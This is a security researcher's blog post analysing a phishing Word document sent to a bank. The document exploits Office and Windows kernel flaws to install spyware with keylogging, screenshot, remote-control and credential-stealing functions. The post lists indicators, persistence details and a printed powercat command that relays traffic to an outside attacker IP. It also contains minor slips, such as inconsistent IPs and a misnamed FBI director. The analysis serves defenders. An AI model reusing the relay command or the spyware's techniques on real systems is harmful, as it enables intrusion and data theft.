Mert SARICA
In both the pre-digital age and the digital age, when you examine the lives of bank robbers who have left their mark on a particular era, such as Willie Sutton, whom I often mention in my security awareness presentations and blog posts, you can see that the main reason behind bank robberies has not changed: money! In today’s world, where the armed robberies of the past have transformed into cyber bank heists, the addition of cybersecurity experts alongside security guards, who are indispensable for the security of bank branches, has started to play a significant role in combating cyber robberies in the digital age. Lessons learned by banks in terms of physical security from bank robberies have given way to lessons learned from cyber threat reports and hacked banks.
The M-Trends report published by FireEye (Mandiant) in March needs to be carefully handled and thoroughly studied by our financial institutions. One of the most significant findings highlighted in this report is the exploitation of zero-day vulnerabilities, which we frequently observe in cyber attacks targeting banks, including state-sponsored cyber attacks. This is just one of the key observations that make this report stand out.
Some institutions, upon reading such threat reports, may mistakenly believe that the threat is distant from them and, as a result, they prioritize investments in human resources and security technologies less, continuing their lives in peace and happiness until they become victims of a cyber attack. On the other hand, proactive institutions that actively monitor and analyze the evolving threats do not remain passive spectators. They leverage such threat reports to determine their future cybersecurity strategies and allocate their resources to the right areas, aiming to minimize the likelihood of being hacked as much as possible.
This story, similar to both the M-Trends report (page 11) and my blog post titled “The APT Attempt,” begins with an email sent from a university email account. However, due to precautionary measures taken, this email fails to reach its intended recipient. Instead, it triggers alarms in multiple systems, including the FireEye security system, initiating the manual examination process by the corporate SOC team for the malicious Office document (Confirmation_letter.docx MD5: 2abe3cc4bff46455a945d56c27e9fb45) attached to the suspicious email. In contrast to the previous story, malicious actors in this case decide to send the email from a spoofed email address ([email protected]), pretending to be from the same university, rather than compromising an academic’s email account within the university. The suspicion increases due to the absence of the mentioned person’s name in the university’s personnel list and the discovery through a LinkedIn search that this person (Matteo Salvalaggio) works at a different university.
When attempting to open the sent Word document on a virtual machine, the system’s performance deteriorated, and it became unresponsive, raising suspicions of the presence of an exploit code within the document. Further examination using the Pestudio tool revealed a significant vulnerability (CVE-2015-2545 / MS15-099) that was detected in Microsoft Office software in 2015 and affected all versions from 2007 to 2016. It became apparent that the document was attempting to exploit this vulnerability.
After opening the “Confirmation_letter.docx” file with the 7-zip tool, it was not difficult to locate the vulnerable EPS file (image1.eps) that was the subject of the vulnerability.
When examining the EPS file using the Notepad++ tool, I immediately noticed multiple executable file headers (MZ – 4D5A) within the exploit code. This finding indicates that there are multiple executable files within the exploit code, and once the vulnerability is successfully exploited, these files would be executed on the operating system.
Without wasting time on the exploit code, I proceeded to save each block with an MZ header as separate files named apt1.exe, apt2.exe, apt3.exe, and so on, and began examining them with Pestudio. When analyzing a3.exe (also appearing as a3.exe in the screenshot) and apt5.exe (also appearing as a5.exe in the screenshot), I noticed the presence of exploit-related keywords in the character strings, the striking resemblance between the two files (a3 being 32-bit and a5 being 64-bit), and the output of CVE-2016-7255 (MS16-135) in the VirusTotal report.
After examining both files, it became apparent that this was an exploit code that had been previously used by the Pawn Storm APT group, also known as Fancy Bear, APT28, Sofacy, and STRONTIUM. It exploited a Windows kernel vulnerability.
Since the ultimate goal of these two exploit codes was to execute the malicious code within the EPS file with administrative privileges on the system, I decided to run the apt1.exe file on a virtual machine and observe its behavior for dynamic analysis. Shortly after running the apt1.exe file, I observed that it copied itself to the %AppData%\AMD\OGLCache.exe folder, communicated encrypted with the IP address 84.202.2.12, created a file in the AMD folder named default.conf with unreadable content (a randomly generated name, and the execution date of the file is encrypted), and added the folder information to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Lollipop key to run on system startup.
When examining the OGLCache.exe file with the Pestudio tool, I found that it was packed, making it difficult to obtain significant information through static analysis.
Later, during static analysis, I unpacked the OGLCache.exe program, which was packed with a packer that attempted to hide itself by modifying the WriteProcessMemory function to _riteProcessMemory, and then made it difficult for dynamic code analysis by repeatedly calling the GetLongPathNameA function. When examining it with Pestudio, I discovered not only the IP address it communicated with but also strings related to the Powercat tool and hints of keylogging activities. Additionally, based on the string “hyd7u5jdi8” I determined that malicious actors have been actively using this malware since August 2016.
Continuing with dynamic code analysis, when the malware encountered a running process named ns.exe (which I assume is Norton Security), it created a batch file named loopc.cmd in the %TEMP% folder and used the Powercat tool (powercat -l -p 4000 -r tcp:84.200.2.12:443;) to establish a relay between port 4000 and the IP address 84.200.2.12 on port 443. This allowed communication between the two endpoints. However, my main objective was to reach the core of the malware, the main function where all other functions were called, in order to uncover its capabilities. Therefore, I continued the analysis.
While navigating between functions, it didn’t take long for me to reach the main function at address 00405AB3, using the graphical view of IDA. Upon quick examination of the functions called from there, I discovered that this spyware had the ability to remotely control systems, perform keylogging, capture screenshots, and steal usernames and passwords from Outlook and Thunderbird profiles.
In summary, the analysis revealed that the malware was a sophisticated spyware designed to gain remote control over systems, perform keylogging, capture screenshots, and steal login credentials from email clients.
Before concluding my analysis, I decided to quickly examine the function responsible for keylogging in the malware, even though it hadn’t been triggered during my analysis. Once I identified the keylogging function at address 0041572C, I modified the program’s flow to ensure that it would execute that particular function. Then, as I pressed keys on the system (AAAAAAAAAAAAA…), I observed that each keypress was recorded and saved to a file in the AMD folder with a filename based on the date (-08-03-2017).
To decipher the encrypted content of the seemingly unreadable file, I briefly examined the function responsible for encryption. It became apparent that each byte written to the file underwent an XOR operation with the value 9D hex, followed by the addition of the value 36. To decrypt the keylogging information stored in the file, I used the Hex Workshop Hex Editor tool to perform the reverse operation (-36 ^ 9D) on the file, successfully converting the previously unreadable key data into a readable format.
In conclusion, we can see that organized cybercrime groups are not far behind state-sponsored cyber attackers when it comes to targeting institutions. As the bar is constantly raised by sophisticated cyber attackers, it becomes crucial, as emphasized in the FireEye (Mandiant) report, for financial institutions in particular to increase their investments in security and human resources. Finally, recalling the words of former FBI Director Robert Miller, “There are only two types of companies: those that have been hacked, and those that will be,” I hope to see you in the following articles.
Note:
Mert SARICA
